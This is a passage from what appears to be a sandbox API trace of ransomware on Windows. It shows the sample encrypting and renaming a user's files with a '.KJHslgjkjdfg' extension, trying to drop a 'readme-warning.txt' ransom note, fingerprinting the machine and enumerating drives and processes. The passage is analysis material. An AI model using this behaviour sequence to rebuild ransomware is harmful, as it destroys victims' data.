dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.563] WriteFile (in: hFile=0xc0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x560, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29dfc90*=0x560, lpOverlapped=0x0) returned 1 [0144.563] CryptDestroyKey (hKey=0x9b65a8) returned 1 [0144.563] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x644, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.563] SetEndOfFile (hFile=0xc0) returned 1 [0144.566] GetProcessHeap () returned 0x990000 [0144.566] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b5500 | out: hHeap=0x990000) returned 1 [0144.566] GetProcessHeap () returned 0x990000 [0144.566] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0144.566] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZAvIVq680fbtDx0.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zavivq680fbtdx0.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZAvIVq680fbtDx0.mp3.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zavivq680fbtdx0.mp3.kjhslgjkjdfg")) returned 1 [0144.577] CloseHandle (hObject=0xc0) returned 1 [0144.577] FindNextFileW (in: hFindFile=0x9b65e8, lpFindFileData=0x29dfd20 | out: lpFindFileData=0x29dfd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb90cb9a0, ftCreationTime.dwHighDateTime=0x1d5d98e, ftLastAccessTime.dwLowDateTime=0x53b61d20, ftLastAccessTime.dwHighDateTime=0x1d5dad9, ftLastWriteTime.dwLowDateTime=0x53b61d20, ftLastWriteTime.dwHighDateTime=0x1d5dad9, nFileSizeHigh=0x0, nFileSizeLow=0x552, dwReserved0=0x0, dwReserved1=0xffff, cFileName="ZAvIVq680fbtDx0.mp3", cAlternateFileName="ZAVIVQ~1.MP3")) returned 0 [0144.577] GetProcessHeap () returned 0x990000 [0144.577] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0144.577] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dfa60, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b65a8) returned 1 [0144.577] CryptDecrypt (in: hKey=0x9b65a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29dfac8 | out: pbData=0x9af7b0, pdwDataLen=0x29dfac8) returned 1 [0144.577] CryptDestroyKey (hKey=0x9b65a8) returned 1 [0144.577] GetProcessHeap () returned 0x990000 [0144.577] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0144.577] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dfa60, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b65a8) returned 1 [0144.577] CryptDecrypt (in: hKey=0x9b65a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29dfac8 | out: pbData=0x9af7f8, pdwDataLen=0x29dfac8) returned 1 [0144.578] CryptDestroyKey (hKey=0x9b65a8) returned 1 [0144.578] GetProcessHeap () returned 0x990000 [0144.578] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9b7908 [0144.578] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dfa60, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b65a8) returned 1 [0144.578] CryptDecrypt (in: hKey=0x9b65a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b7908, pdwDataLen=0x29dfac8 | out: pbData=0x9b7908, pdwDataLen=0x29dfac8) returned 1 [0144.578] CryptDestroyKey (hKey=0x9b65a8) returned 1 [0144.578] GetProcessHeap () returned 0x990000 [0144.578] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0144.578] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df638, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b65a8) returned 1 [0144.578] CryptDecrypt (in: hKey=0x9b65a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29df6a8 | out: pbData=0x9af840, pdwDataLen=0x29df6a8) returned 1 [0144.578] CryptDestroyKey (hKey=0x9b65a8) returned 1 [0144.578] GetProcessHeap () returned 0x990000 [0144.578] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b1918 [0144.578] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df638, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b65a8) returned 1 [0144.578] CryptDecrypt (in: hKey=0x9b65a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b1918, pdwDataLen=0x29df6a8 | out: pbData=0x9b1918, pdwDataLen=0x29df6a8) returned 1 [0144.578] CryptDestroyKey (hKey=0x9b65a8) returned 1 [0144.578] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29df6a4 | out: phkResult=0x29df6a4*=0xc0) returned 0x0 [0144.579] RegQueryValueExA (in: hKey=0xc0, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29df6b0, lpcbData=0x29df6ac*=0x400 | out: lpType=0x0, lpData=0x29df6b0*=0x30, lpcbData=0x29df6ac*=0x18) returned 0x0 [0144.579] RegCloseKey (hKey=0xc0) returned 0x0 [0144.579] GetProcessHeap () returned 0x990000 [0144.579] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0144.579] GetProcessHeap () returned 0x990000 [0144.579] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1918 | out: hHeap=0x990000) returned 1 [0144.579] GetProcessHeap () returned 0x990000 [0144.579] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b1918 [0144.579] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df418, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b65a8) returned 1 [0144.579] CryptDecrypt (in: hKey=0x9b65a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b1918, pdwDataLen=0x29df47c | out: pbData=0x9b1918, pdwDataLen=0x29df47c) returned 1 [0144.579] CryptDestroyKey (hKey=0x9b65a8) returned 1 [0144.579] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29df480, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0144.579] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29df478, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29df478*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0144.580] GetProcessHeap () returned 0x990000 [0144.580] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1918 | out: hHeap=0x990000) returned 1 [0144.580] wsprintfA (in: param_1=0x29df6c7, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0144.580] wsprintfA (in: param_1=0x29dfad4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0144.580] GetProcessHeap () returned 0x990000 [0144.580] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b7cd0 [0144.580] wsprintfW (in: param_1=0x29deaa4, param_2="%s\\%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\readme-warning.txt") returned 56 [0144.580] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\readme-warning.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0144.580] GetProcessHeap () returned 0x990000 [0144.580] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7908 | out: hHeap=0x990000) returned 1 [0144.580] GetProcessHeap () returned 0x990000 [0144.580] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7cd0 | out: hHeap=0x990000) returned 1 [0144.580] GetProcessHeap () returned 0x990000 [0144.580] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0144.580] GetProcessHeap () returned 0x990000 [0144.580] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0144.580] FindClose (in: hFindFile=0x9b65e8 | out: hFindFile=0x9b65e8) returned 1 [0144.581] GetProcessHeap () returned 0x990000 [0144.581] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b76a0 | out: hHeap=0x990000) returned 1 Thread: id = 172 os_tid = 0xa04 [0144.587] GetProcessHeap () returned 0x990000 [0144.587] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x16) returned 0x9af498 [0144.587] FindFirstFileW (in: lpFileName="C:\\*.*", lpFindFileData=0x29dfd20 | out: lpFindFileData=0x29dfd20*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xffff, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x9b65e8 [0144.588] GetProcessHeap () returned 0x990000 [0144.588] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af498 | out: hHeap=0x990000) returned 1 [0144.588] GetProcessHeap () returned 0x990000 [0144.588] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x218) returned 0x9b76a0 [0144.588] GetProcessHeap () returned 0x990000 [0144.588] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0144.588] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*.*", lpFindFileData=0x29dfa98 | out: lpFindFileData=0x29dfa98*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x9b65a8 [0144.588] GetProcessHeap () returned 0x990000 [0144.588] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0144.588] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29dfa98 | out: lpFindFileData=0x29dfa98*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0144.588] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29dfa98 | out: lpFindFileData=0x29dfa98*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0144.588] GetProcessHeap () returned 0x990000 [0144.588] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x232) returned 0x9b78c0 [0144.588] GetProcessHeap () returned 0x990000 [0144.588] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8e) returned 0x9b0ae0 [0144.588] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*.*", lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6568 [0144.589] GetProcessHeap () returned 0x990000 [0144.589] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0ae0 | out: hHeap=0x990000) returned 1 [0144.589] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0144.589] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0144.589] GetProcessHeap () returned 0x990000 [0144.589] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x290) returned 0x9b7b00 [0144.589] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0144.589] FindClose (in: hFindFile=0x9b6568 | out: hFindFile=0x9b6568) returned 1 [0144.589] GetProcessHeap () returned 0x990000 [0144.589] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7b00 | out: hHeap=0x990000) returned 1 [0144.589] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29dfa98 | out: lpFindFileData=0x29dfa98*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0144.589] FindClose (in: hFindFile=0x9b65a8 | out: hFindFile=0x9b65a8) returned 1 [0144.589] GetProcessHeap () returned 0x990000 [0144.589] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0144.589] FindNextFileW (in: hFindFile=0x9b65e8, lpFindFileData=0x29dfd20 | out: lpFindFileData=0x29dfd20*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xffff, cFileName="Boot", cAlternateFileName="")) returned 1 [0144.590] GetProcessHeap () returned 0x990000 [0144.590] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b1918 [0144.590] FindFirstFileW (in: lpFileName="C:\\Boot\\*.*", lpFindFileData=0x29dfa98 | out: lpFindFileData=0x29dfa98*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x9b65a8 [0144.590] GetProcessHeap () returned 0x990000 [0144.590] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1918 | out: hHeap=0x990000) returned 1 [0144.590] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29dfa98 | out: lpFindFileData=0x29dfa98*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0144.590] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29dfa98 | out: lpFindFileData=0x29dfa98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x90cd45e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x90cd45e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD", cAlternateFileName="")) returned 1 [0144.590] GetProcessHeap () returned 0x990000 [0144.590] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x222) returned 0x9b78c0 [0144.590] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0144.590] GetLastError () returned 0x20 [0144.591] GetProcessHeap () returned 0x990000 [0144.591] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x100000) returned 0x29e0020 [0144.591] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x29e0020, Length=0x100000, ResultLength=0x0 | out: SystemInformation=0x29e0020, ResultLength=0x0) returned 0x0 [0144.660] GetCurrentProcessId () returned 0xab8 [0144.660] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.660] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.660] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.660] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.660] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.660] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.661] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.661] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.661] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.661] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.661] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.661] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.661] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.661] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.661] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.662] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.662] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.662] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.662] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.662] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.662] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.662] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.662] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.663] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.663] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.663] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.663] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.694] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.694] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.694] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.694] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.694] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.694] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.694] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.694] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.695] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.695] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.695] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.695] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.695] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.695] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.695] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.695] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.695] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.696] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.696] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.696] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.696] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.696] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.696] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.696] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.696] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.696] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.696] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.697] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.697] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.697] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.697] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.697] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.697] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.697] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.697] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.697] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.697] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.698] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.698] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.698] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.698] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.698] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.698] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.698] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.698] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.698] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.699] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.699] OpenProcess (dwDesiredAccess=0x40, 